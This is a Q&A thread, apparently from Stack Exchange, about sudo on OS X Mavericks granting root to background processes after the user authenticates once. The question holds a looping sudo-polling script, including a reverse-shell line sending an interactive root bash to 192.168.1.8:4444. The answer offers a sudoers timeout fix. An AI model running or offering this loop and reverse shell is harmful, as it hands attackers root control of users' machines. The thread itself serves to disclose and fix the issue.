4

I have noticed recently on OS X Mavericks that running sudo will not only allow one to run it again in the same window or even the same application, but will permit any application to run shell commands as root. This would mean that any application continually trying to run sudo without a password in a loop would gain root privileges. Is there a way to change this?

Example shell script:

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
say root
echo root
exit
fi
done

If that is run in the background and then a sudo command is run it will say root then exit. Another example that I would be more concerned about is this:

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
bash -i > /dev/tcp/192.168.1.8/4444 0>&1
fi
done
  • 2
    wow this is pretty bad. It actually enables global sudo once you enter the sudo password one time. – Karthik Rangarajan Dec 22 '13 at 3:02
  • That's what I thought but I wasn't sure if it was intentional or not because it seemed like it might be one of those dumb things apple does because they want to make everything more convenient for you – 735Tesla Dec 22 '13 at 12:01
  • Yeah, as I said, I don't think they even thought about it - unlike Linux, they open the same TTY multiple times, so sudo doesn't time out like you would expect it to. – Karthik Rangarajan Dec 23 '13 at 4:20
4

Alright, after doing some research into the issue, it turns out that this behavior is because OS/X spawns the same TTY over and over again, and since sudo has a timeout, applications in the background automatically receive sudo permissions when you give sudo permissions to a completely different application.

Thankfully, the fix isn't hard. All you need to do is edit your sudoers to add the following line:

Defaults:ALL timestamp_timeout=0

(Thanks to a certain Themson Mester for suggesting this config option!)

This will make the behavior a lot stricter - only your application gets the sudo permissions, and it times out immediately. I used this as a reference to make this change, and it has a lot of helpful tips if you're looking to change other things in your sudoers.

Thanks for the great question, I learned something new today. :)

  • Thanks that seemed to fix it. This is one of the reasons I don't really like apple. – 735Tesla Dec 22 '13 at 12:02

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.